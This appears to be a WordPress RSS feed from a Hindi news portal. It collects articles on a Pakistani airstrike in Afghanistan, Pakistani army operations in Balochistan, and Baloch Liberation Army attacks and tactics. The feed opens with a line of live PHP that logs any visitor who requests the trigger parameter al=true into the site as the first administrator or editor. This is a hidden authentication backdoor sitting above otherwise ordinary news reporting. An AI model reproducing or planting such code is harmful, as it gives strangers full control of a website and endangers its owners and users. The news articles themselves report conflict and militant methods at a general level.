// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Pakistani Army – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 10 Jun 2026 06:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अफगानिस्तान में पाकिस्तानी सेना की बड़ी कार्रवाई, हमले में 11 बच्चों समेत 13 लोगों की मौत https://pratyushaashakinayikiran.com/?p=226048 Wed, 10 Jun 2026 06:46:00 +0000 https://pratyushaashakinayikiran.com/?p=226048 काबुल 

अफगानिस्तान और पाकिस्तान के बीच सीमा पर तनाव एक बार फिर गहरा गया है. बीती रात पाकिस्तानी सेना के लड़ाकू विमानों ने अफगानिस्तान की हवाई सीमा का उल्लंघन किया. पाकिस्तानी सेना ने अफगानिस्तान के सीमावर्ती इलाकों में स्थित आम नागरिकों के घरों को निशाना बनाकर भारी बमबारी की है। 

इस हवाई हमले में महिलाओं और बच्चों समेत कई नागरिक हताहत हुए हैं. अफगान प्रवक्ता जबीउल्लाह मुजाहिद की ओर से जारी एक बयान के मुताबिक, पाकिस्तानी हमलावर सेना ने कल रात एक बार फिर अफगानिस्तान की संप्रभुता का खुलेआम उल्लंघन किया। 

जबीउल्लाह ने आगे बताया कि पाकिस्तानी लड़ाकू विमानों ने अफगानिस्तान के तीन प्रमुख प्रांतों- कुनार, खोस्त और पक्तिका में रिहायशी इलाकों को निशाना बनाया. इन इलाकों में रहने वाले आम नागरिकों के घरों पर अंधाधुंध बमबारी की गई, जिससे कई घर पूरी तरह तबाह हो गए। 

हमले में बच्चों-महिलाओं समेत 13 की मौत
इस हमले में जान-माल का भारी नुकसान हुआ है. बमबारी में कुल 13 लोग मारे गए हैं, जिन्हें अफगान प्रशासन ने शहीद घोषित किया है. मरने वालों में सबसे ज्यादा संख्या मासूम बच्चों की है. इस हमले में 11 बच्चे, एक महिला और एक बुजुर्ग व्यक्ति की मौत हो गई. इसके अलावा हमले में 14 लोग गंभीर रूप से घायल हुए हैं, जिनमें महिलाएं और बच्चे भी शामिल हैं। 

घायलों को नजदीकी अस्पतालों में भर्ती कराया गया है, जहां कइयों की हालत नाजुक बनी हुई है. सोशल मीडिया पर इस हमले के बाद की कुछ दर्दनाक तस्वीरें भी सामने आई हैं, जिनमें पीड़ित बच्चों की स्थिति देखी जा सकती है। 

अफगानिस्तान ने जताई कड़ी आपत्ति
इस हमले के बाद अफगान सरकार का गुस्सा फूट पड़ा है। प्रवक्ता जबीउल्लाह मुजाहिद ने अपने बयान में इस कार्रवाई की कड़े शब्दों में निंदा की है. उन्होंने कहा, 'हम इस अमानवीय अपराध और हमले की कड़े से कड़े शब्दों में पुरजोर निंदा करते हैं.' अफगानिस्तान ने इसे अंतरराष्ट्रीय नियमों का उल्लंघन और आम नागरिकों के खिलाफ एक क्रूर अपराध बताया है। 

अफगानिस्तान के पूर्व प्रेसिडेंट हामिद करजई ने इस हमले की निंदा की है. उन्होंने शहीदों के परिवारों के साथ गहरा दुख और एकजुटता दिखाते हुए, एक बार फिर कहा कि पाकिस्तान इस इलाके में अपनी गलत नीतियों और दुश्मनी भरी कार्रवाइयों के नतीजों से जूझ रहा है. उसे ये समझना चाहिए कि वो उन नीतियों पर कायम रहकर और उन्हें आगे बढ़ाकर अपने लक्ष्य हासिल नहीं कर पाएगा। 

करजई के मुताबिक पाकिस्तान की भलाई अफगानिस्तान के प्रति युद्ध और तबाही की अपनी नीति को छोड़ने और इसके बजाय अच्छे पड़ोसी और सभ्य रिश्ते चुनने में है। 

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बलूचिस्तान में पाकिस्तानी सेना का व्यापक अभियान, 216 आतंकवादी मारे गए https://pratyushaashakinayikiran.com/?p=195774 Thu, 05 Feb 2026 17:05:00 +0000 https://pratyushaashakinayikiran.com/?p=195774 पेशावर

 पाकिस्तान के अशांत बलूचिस्तान प्रांत में हुए आतंकी हमलों के जवाब में कई दिनों तक चले अभियान में कम से कम 216 आतंकवादी, 36 नागरिक और 22 जवान मारे गए हैं। सेना ने बृहस्पतिवार को यह जानकारी दी। पाकिस्तान सेना की मीडिया शाखा 'इंटर-सर्विसेज पब्लिक रिलेशंस' (आईएसपीआर) ने एक बयान में कहा कि उसने 26 जनवरी को शुरू किया गया अभियान सफलतापूर्वक पूरा कर लिया है।

पाकिस्तानी सेना ने कहा कि विश्वसनीय और खुफिया जानकारी के आधार पर आतंकवादियों की मौजूदगी की पुष्टि होने के बाद पंजगुर और हरनाई जिले के बाहरी इलाकों में अभियान शुरू किए गए। इसने बताया कि कई दिन चले अभियान में 216 आतंकवादियों को मार गिराया गया।

 आईएसपीआर ने बताया कि अभियान के दौरान महिलाओं और बच्चों सहित 36 आम नागरिक तथा सुरक्षा बलों और कानून प्रवर्तन एजेंसियों के 22 कर्मी मारे गए। भारत ने बलूचिस्तान में शांति भंग करने की कोशिशों में उसकी संलिप्तता के पाकिस्तान के आरोपों को लगातार सिरे से खारिज किया है और कहा है कि यह इस्लामाबाद की अपनी ''आंतरिक विफलताओं'' से ध्यान भटकाने की रणनीति का हिस्सा है।

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BLA की ताकत कितनी? बलोच लड़ाकों की क्षमता और पाक सेना पर बढ़ता दबाव https://pratyushaashakinayikiran.com/?p=194961 Mon, 02 Feb 2026 05:35:00 +0000 https://pratyushaashakinayikiran.com/?p=194961 लाहौर 
बलूचिस्तान पाकिस्तान का सबसे बड़ा प्रांत है, लेकिन यहां सालों से अलगाववादी आंदोलन चल रहा है. बलूच लोग खुद को पाकिस्तानी सरकार से अलग मानते हैं. अपने संसाधनों पर ज्यादा हक मांगते हैं. इस आंदोलन की मुख्य ताकत है बलूच लिबरेशन आर्मी (BLA), जो पाक सेना के खिलाफ गुरिल्ला युद्ध लड़ रही है. बीएलए को पाकिस्तान, अमेरिका और ब्रिटेन जैसे देशों ने आतंकवादी संगठन घोषित किया है, लेकिन बलूच इसे आजादी की लड़ाई बताते हैं. 

बलूच लिबरेशन आर्मी (BLA) क्या है?

बलूच लिबरेशन आर्मी (BLA) एक बलूच राष्ट्रवादी सशस्त्र संगठन है, जो बलूचिस्तान को पाकिस्तान से आजाद करने के लिए लड़ रहा है. बलूचिस्तान, जो पाकिस्तान का सबसे बड़ा लेकिन सबसे कम आबादी वाला और अविकसित प्रांत है, प्राकृतिक संसाधनों जैसे गैस, खनिज और तटीय संपत्तियों से समृद्ध है.

BLA और स्थानीय लोग दावा करते हैं कि पाकिस्तान सरकार इन संसाधनों का शोषण करती है, जिसका फायदा स्थानीय बलूच लोगों को नहीं मिलता. BLA का कहना है कि बलूचों को उनके अधिकारों और स्वायत्तता से वंचित किया जा रहा है. वे इसके खिलाफ सशस्त्र संघर्ष कर रहे हैं.

पाकिस्तान, अमेरिका, ब्रिटेन और यूरोपीय संघ ने BLA को एक आतंकवादी संगठन घोषित किया है, जबकि BLA खुद को बलूच लोगों के लिए स्वतंत्रता की लड़ाई लड़ने वाला संगठन मानता है.

बलूचों के पास कितने लड़ाके हैं?

बलूच अलगाववादियों की कुल संख्या का सटीक अनुमान लगाना मुश्किल है क्योंकि ये संगठन गुप्त रूप से काम करती है. पहाड़ी इलाकों में छिपे रहते हैं. बलूचिस्तान में कई समूह सक्रिय हैं, जैसे बीएलए, बलूचिस्तान लिबरेशन फ्रंट (BLF), बलूच राष्ट्रीय सेना (BNA) और यूनाइटेड बलूच आर्मी (UBA). इनमें से बीएलए सबसे बड़ा और सक्रिय है.

बीएलए के लड़ाकों की अनुमानित संख्या: 2020 में बीएलए के करीब 600 सक्रिय लड़ाके बताए जाते थे. लेकिन 2025 तक यह संख्या बढ़कर 3000 हो गई है. बीएलए के कुल सदस्य कई हजार हैं, जिसमें लड़ाके, समर्थक और भर्ती करने वाले लोग शामिल हैं. ऑपरेशन हेरोफ में 3000 से ज्यादा बलूच लड़ाके पाकिस्तानी सेना के खिलाफ लड़ रहे हैं. 

अन्य बलूच समूहों के लड़ाके: बीएलएफ ने 2025 में दावा किया कि उसके 42 लड़ाके मारे गए, लेकिन कुल संख्या का अनुमान नहीं है. जेयश अल-अदल जैसे अन्य समूहों के 500-600 लड़ाके हैं. सभी बलूच अलगाववादी समूहों के लड़ाकों की संख्या 5000 से 10000 के बीच हो सकती है, लेकिन यह बदलती रहती है क्योंकि भर्ती और नुकसान दोनों होते हैं. पाकिस्तानी सेना का दावा है कि उसने 2025-2026 में 100 से ज्यादा लड़ाकों को मार गिराया है. 

सही संख्या ज्यादा या कम हो सकती है क्योंकि ये छिपकर काम करते हैं. बलूच युवाओं को सोशल मीडिया के जरिए भर्ती किया जाता है, जहां वे राष्ट्रवाद और पाकिस्तान सरकार की ज्यादतियों की कहानियां सुनाते हैं.

BLA की चोट के बाद पाकिस्तानियों का उठ गया भरोसा 

पाकिस्तान के बलूचिस्तान प्रांत में बलूचिस्तान लिबरेशन आर्मी (BLA) और पाकिस्तानी सेना के बीच जारी हिंसक टकराव के बीच अब देश के भीतर से ही सेना और सरकार की रणनीति पर सवाल उठने लगे हैं. पाकिस्तानी पत्रकार ओसामा बिन जावेद ने अपने लेख में साफ कहा है कि पाकिस्तान की सेना अकेले बलूचिस्तान के लोगों की समस्या का समाधान नहीं कर सकती.

पिछले कुछ दिनों में बलूचिस्तान के कई इलाकों में BLA के कोऑर्डिनेटेड हमलों के बाद हालात बेहद तनावपूर्ण हो गए. पाकिस्तानी सेना के मुताबिक इन झड़पों में करीब 200 लोग मारे गए, जिनमें 31 आम नागरिक, 17 सुरक्षाकर्मी और 145 BLA लड़ाके शामिल हैं. इनमें से 100 से ज्यादा लड़ाके सिर्फ एक दिन में मारे जाने का दावा किया गया. हालांकि, सेना ने BLA के उस दावे को खारिज किया है जिसमें 84 सुरक्षाकर्मियों की मौत की बात कही गई थी.

ओसामा बिन जावेद लिखते हैं कि बलूचिस्तान की पहाड़ियों में लड़ी गई यह लड़ाई सिर्फ हथियारों की नहीं, बल्कि दशकों से चली आ रही नाराजगी, राजनीतिक भेदभाव और आर्थिक अन्याय की कहानी है. उन्होंने किसी सूत्र के हवाले से कहा है, "एक मिलिट्री एक मिलिटेंट को खत्म कर सकती है, लेकिन किसी शिकायत को खत्म नहीं कर सकती."

BLA पाकिस्तान सरकार के लिए आतंकी नेटवर्क

पाकिस्तानी पत्रकार का कहना है कि सरकार जहां BLA को सिर्फ एक आतंकी नेटवर्क के तौर पर देखती है, वहीं बलूच समाज के कई लोग इन्हें अपने बेटे और भाई मानते हैं जिन्होंने हथियार उठा लिए हैं.

पत्रकार ने इस बात पर भी जोर दिया कि हालिया हिंसा में आम लोगों की मौत इस विद्रोह की सबसे दुखद सच्चाई को उजागर करती है, क्योंकि यह लड़ाई उन्हीं लोगों को नुकसान पहुंचा रही है जिनके नाम पर इसे लड़ा जा रहा है. उन्होंने पाकिस्तान सरकार की उस रणनीति की भी आलोचना की, जिसमें हर हमले के पीछे "विदेशी साजिश" और "भारत के उकसावे" की बात कही जाती है. ओसामा के मुताबिक, इस नैरेटिव से असली मुद्दे राजनीतिक हाशिए पर डालना, गरीबी और संसाधनों की लूट दब जाते हैं.

चाय की दुकानों पर होती है गरीबी की चर्चा

लेख में यह भी कहा गया है कि बलूचिस्तान जैसे खनिज संपन्न प्रांत में आज भी गरीबी क्यों है, यह सवाल आम लोग चाय की दुकानों पर फुसफुसाकर पूछते हैं. ग्वादर पोर्ट और 46 अरब डॉलर के CPEC प्रोजेक्ट को भी कई स्थानीय लोग विकास का वरदान नहीं, बल्कि इस्लामाबाद और बीजिंग के फायदे का सौदा मानते हैं.

पाकिस्तानी सेना के खिलाफ BLA की रणनीति क्या है?

बीएलए पाकिस्तानी सेना से सीधे टकराव से बचती है क्योंकि सेना की ताकत ज्यादा है. यह एसिमेट्रिक वॉरफेयर की रणनीति अपनाती है, जिसमें छोटे-छोटे हमले करके दुश्मन को थकाया जाता है. यह रणनीति अफगानिस्तान में तालिबान की तरह है, जहां हिट-एंड-रन का इस्तेमाल होता है. बीएलए की रणनीति समय के साथ विकसित हुई है. 

गुरिल्ला युद्ध की मुख्य रणनीतियां

हिट-एंड-रन हमले और घात: बीएलए लड़ाके पहाड़ी इलाकों का फायदा उठाकर सेना की चौकियों, गश्ती दलों और काफिलों पर अचानक हमला करते हैं. वे IED (इम्प्रोवाइज्ड एक्सप्लोसिव डिवाइस) यानी घरेलू बम, रॉकेट और छोटे हथियारों का इस्तेमाल करते हैं. फिर जल्दी भाग जाते हैं ताकि सेना जवाब न दे सके.

आत्मघाती हमले: मजीद ब्रिगेड आत्मघाती बम हमले करती है, जिसमें पुरुष और महिलाएं दोनों शामिल हैं. ये हमले सेना के कैंपों, चेकपोस्टों और महत्वपूर्ण जगहों पर होते हैं. 2025 में ऐसे कई हमले हुए, जैसे नोशकी और पंजगुर कैंपों पर, जहां बीएलए ने तीन दिन तक इलाका कब्जे में रखा.

कॉर्डिनेटेड अटैक: बीएलए एक साथ कई जगहों पर हमला करती है ताकि सेना की ताकत बंट जाए. जैसे ऑपरेशन हेरोफ (ब्लैक स्टॉर्म), जिसका दूसरा चरण 2026 में शुरू हुआ. इसमें 10 शहरों में हमले हुए. राजमार्ग बंद किए गए और पाकिस्तानी झंडे हटाकर बलूच झंडे लगाए गए. 2025 में बीएलए ने 521 हमलों का दावा किया, जिसमें 1060 से ज्यादा पाकिस्तानी सैनिक मारे गए. 
 
टारगेट: बीएलए मुख्य रूप से पाकिस्तानी सेना, पुलिस, बुनियादी ढांचे (जैसे गैस पाइपलाइन, रेलवे), चीनी परियोजनाओं (सीपीईसी) और गैर-बलूच निवासियों को निशाना बनाती है. वे चीनी इंजीनियरों और मजदूरों पर हमले करते हैं क्योंकि उन्हें लगता है कि पाकिस्तान उनके संसाधनों का शोषण कर रहा है. 

डिजिटल और प्रचार रणनीति: बीएलए सोशल मीडिया का इस्तेमाल करती है. टेलीग्राम, व्हाट्सएप और रंबल जैसे प्लेटफॉर्म पर वे हमलों के वीडियो, प्रचार सामग्री और शहीदों की कहानियां शेयर करते हैं. इससे भर्ती आसान होती है. वे स्थानीय शिकायतों का फायदा उठाते हैं, जैसे जबरन गायब करना और संसाधनों का शोषण.

जब बढ़े हमले: 2025-2026 में बीएलए की रणनीति ज्यादा आक्रामक हुई है. ऑपरेशन हेरोफ में उन्होंने ड्रोन, टावर और वाहन नष्ट किए. पाकिस्तानी सेना का कहना है कि ये हमले भारत की मदद से हो रहे हैं, लेकिन इसका कोई सबूत नहीं दिया. बीएलए का लक्ष्य लंबे समय तक छोटे हमलों से सेना को थकाना है, फिर बड़ा हमला (ब्लिट्ज) करके इलाका कब्जा करना.

हाल के विकास: 2025-2026 में बीएलए की रणनीति ज्यादा आक्रामक हुई है. ऑपरेशन हेरोफ में उन्होंने ड्रोन, टावर और वाहन नष्ट किए. पाकिस्तानी सेना का कहना है कि ये हमले भारत की मदद से हो रहे हैं, लेकिन इसका कोई सबूत नहीं दिया. बीएलए का लक्ष्य लंबे समय तक छोटे हमलों से सेना को थकाना है, फिर बड़ा हमला (ब्लिट्ज) करके इलाका कब्जा करना.

क्या प्रभाव पड़ रहा है?

यह संघर्ष बलूचिस्तान की अर्थव्यवस्था और सुरक्षा को प्रभावित कर रहा है. पाकिस्तानी सेना बड़े पैमाने पर ऑपरेशन चला रही है, लेकिन अलगाववाद रुक नहीं रहा. विशेषज्ञ कहते हैं कि सिर्फ सैन्य कार्रवाई से समस्या हल नहीं होगी; राजनीतिक बातचीत और विकास की जरूरत है.

बलूचिस्तान में अशांति के कारण

बलूचिस्तान में दशकों से चल रहा यह विद्रोह कई कारणों से भड़क रहा है…

    आर्थिक शोषण: बलूचिस्तान के संसाधनों का दोहन बिना स्थानीय लोगों को लाभ दिए किया जा रहा है.
    राजनीतिक हाशिए पर: बलूच लोगों को उनके अधिकारों और स्वायत्तता से वंचित रखा गया है.
    मानवाधिकार उल्लंघन: अमनेस्टी इंटरनेशनल और ह्यूमन राइट्स वॉच के अनुसार, हजारों बलूच कार्यकर्ता, पत्रकार और छात्रों को जबरन गायब किया गया या मार डाला गया.

 

 

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बलूचिस्तान में बड़ा विद्रोह: बलोच उग्रवादियों का 12 शहरों पर एकसाथ हमला, कई पुलिस स्टेशन कब्जे में https://pratyushaashakinayikiran.com/?p=194877 Sat, 31 Jan 2026 15:57:00 +0000 https://pratyushaashakinayikiran.com/?p=194877 क्वेटा

पाकिस्तान के बलूचिस्तान में बलोच विद्रोहियों ने कोहराम मचा दिया है. बलोच लिब्रेशन आर्मी ने बलूचिस्तान प्रांत के कई शहरों में एक साथ हमला कर कई थानों और सरकारी भवनों पर कब्जा कर लिया है. शनिवार को को बलूचिस्तान में बलोच विद्रोहियों, विशेष रूप से बलोच लिबरेशन आर्मी (BLA) के जेयंद गुट ने "ऑपरेशन हेरॉफ" के फेज 2 के तहत बड़े पैमाने पर हमले किए हैं. बागी बलोचों ने कई पुलिस स्टेशनों पर कब्जा कर लिया है. बलोच विद्रोहियों के अचानक हमले से बैकफुट पर आई पाकिस्तान फौज को अपने पोस्ट छोड़कर भागना पड़ रहा है.

पाकिस्तान के जियो न्यूज के अनुसार इस हमले में अबतक 10 सुरक्षाकर्मियों की मौत हुई है, जबकि पाकिस्तान सरकार का दावा है कि 58 आतंकी मारे गए हैं.

यह हमले पाकिस्तानी सुरक्षा बलों, सरकारी सुविधाओं और अन्य टारगेट पर केंद्रित थे. इन हमलों को काफी बड़ा माना जा रहा है क्योंकि 12 से अधिक स्थानों पर एक साथ रिपोर्ट किए गए हैं. 

समाचार एजेंसियों के अनुसार विद्रोहियों ने शनिवार सुबह ही राजधानी क्वेटा में हमले सुबह करीब 6 बजे एक जबरदस्त धमाके के साथ अटैक शुरू किया जिसके बाद दो घंटे तक ज़ोरदार गोलीबारी हुई और कई धमाके भी हुए. 

सड़क पर निकले बागी, कई शहरों पर कब्जा

बलोच बागियों ने क्वेटा के अलावा पसनी, मस्तंग, नुश्की और ग्वादर जिलों में एक साथ हमले किए हैं. बागी बंदूकों से हमले कर रहे हैं और कई स्थानों पर आत्मघाती हमले कर रहे हैं. 

सोशल मीडिया पर स्थानीय पत्रकार इस हमले के बारे में कई दावे कर रहे हैं. एक पत्रकार के अनुसार बलूचिस्तान के कई शहरों में हथियारबंद लोगों ने कई शहरों पर कब्ज़ा कर लिया है. मस्तुंग में विद्रोहियों ने पुलिस स्टेशन और शहर पर कब्जा कर लिया है. 30 से ज़्यादा कैदी फरार हैं. 

क्वेटा में हथियारबंद लोगों ने कई इलाकों पर कब्ज़ा कर लिया है. ग्वादर में हमले की खबर है. कलात में भी झड़पें जारी हैं. 

एक सीनियर पुलिस अधिकारी ने अपना नाम न बताने की शर्त पर अरब न्यूज़ को बताया कि बागियों ने शहर में घुसने की कोशिश की, लेकिन पुलिस और दूसरी कानून लागू करने वाली एजेंसियों ने उन्हें रोक दिया. 

उन्होंने कहा, "बागियों ने सरयाब रोड पर एक पुलिस मोबाइल पर हमला किया, जिसमें दो पुलिसकर्मी मारे गए." "पुलिस और दूसरी  एजेंसियों ने क्वेटा शहर में विद्रोहियों से लड़ाई जारी रखे हुए है, अभी भी एक क्लीयरेंस ऑपरेशन चल रहा है. 

पाकिस्तान के अखबार डॉन के एक रिपोर्टर के मुताबिक हमले के बाद क्वेटा, सिबी और चमन में मोबाइल फोन सर्विस तो काम कर रही थीं, लेकिन डेटा सर्विस बंद कर दी गई है. 

स्वास्थ्य मंत्री बख्त मुहम्मद काकर और स्वास्थ्य सचिव मुजीबुर रहमान के निर्देशों पर पूरे प्रांत के सभी सरकारी अस्पतालों में इमरजेंसी लगा दी गई.

द बलूचिस्तान पोस्ट ने यहां हुए हमलों की विस्तार से जानकारी दी है. 

दस शहरों में एक साथ हमले

द बलूचिस्तान पोस्ट के अनुसार बलूच लिबरेशन आर्मी ने शनिवार को अपने कमांडर-इन-चीफ बशीर ज़ेब बलूच का एक वीडियो मैसेज जारी किया है. इसमें उन्होंने बलूच लोगों से 'अपने घरों से बाहर निकलने' और पाकिस्तानी सरकार के खिलाफ़ सशस्त्र संघर्ष के उस निर्णायक दौर में शामिल होने की अपील की है. इस हमले को उन्होंने निर्णायक दौर बताया है. 

उन्होंने यह घोषणा भी की कि "ऑपरेशन हेरोफ़" के दूसरे चरण के तहत बलूचिस्तान के "दस शहरों में एक साथ हमले" शुरू किए गए हैं.

वीडियो में बशीर जेब बलूच हथियारबंद लड़ाकों के साथ दिखाई देते हैं और अपना संदेश ब्राहुई और बलूची दोनों भाषाओं में दे रहे हैं. 

BLA चीफ ने चेतावनी दी कि अगर लोग आज बाहर नहीं आए और ऑपरेशन हेरोफ़ में हिस्सा ले रहे भाइयों और बहनों के साथ खड़े नहीं हुए, तो इतिहास उनकी हार दर्ज करेगा. उन्होंने कहा कि जो लोग अपनी जान देते हैं और जो लोग जान लेते हैं, वे ही इतिहास लिखते हैं."

उन्होंने कहा, "हम चरमपंथी नहीं हैं. लेकिन जब बात हमारी जमीन और हमारे देश की आती है, तो हम किसी भी हद तक जाने को तैयार हैं. हमने किसी दूसरे देश पर कब्ज़ा नहीं किया है; बल्कि हम पर कब्ज़ा किया गया है. हमारी लड़ाई न्याय के लिए लड़ाई है."
48 घंटे में 70 विद्रोहियों को मारने का दावा 

बलूचिस्तान के मुख्यमंत्री के राजनीतिक और मीडिया मामलों के विशेष सलाहकार शाहिद रिंद ने एक्स पर कहा कि पिछले दो दिनों में प्रांत भर में सुरक्षा बलों ने अलग-अलग जगहों पर 70 से ज़्यादा विद्रोहियों को मार गिराया है. 

रेलवे ट्रैक मिली IED, एंटी टैंक माइन और विस्फोटक बरामद

पुलिस ने बताया कि बलूचिस्तान के नसीराबाद ज़िले में एक रेलवे ट्रैक पर संदिग्ध विस्फोटक सामग्री मिली है.

नसीराबाद के सीनियर सुपरिटेंडेंट ऑफ़ पुलिस असदुल्लाह नासिर ने एक बयान में कहा, "रबी पुल के पास रेलवे लाइन पर एक एंटी-टैंक माइन और विस्फोटक सामग्री मिली है."

उन्होंने आगे कहा, "पुलिस, FC और स्पेशल ब्रांच ने समय पर कार्रवाई करते हुए एक संदिग्ध IED को निष्क्रिय कर दिया है."

SSP नासिर के अनुसार बरामद चीज़ों में आधा किलोग्राम विस्फोटक सामग्री, पेट्रोल और एक लोहे की रॉड शामिल थी. 

हालात तनावपूर्ण

स्थानीय लोगों और लोकल सोर्स ने क्वेटा, नुश्की, कलात, मस्तंग, दलबांदिन, खारान, ग्वादर, पसनी, टंप, बुलेदा और धदार में सुरक्षा हालात को बहुत तनावपूर्ण बताया है. यहां भारी गोलीबारी, धमाकों और पुलिस और मिलिट्री ठिकानों पर हमलों की खबरें मिलीं हैं.

क्वेटा में रहने वालों ने कई इलाकों में गोलीबारी और धमाकों की सूचना दी, जिसमें बहुत संवेदनशील रेड ज़ोन भी शामिल हैं.  द बलूचिस्तान पोस्ट ने बताया है कि सरयाब रोड पर हथियारबंद लोगों ने एक पुलिस मोबाइल पर हमला किया जिसमें दो पुलिसकर्मी मारे गए और गाड़ी में आग लगा दी गई. 

 

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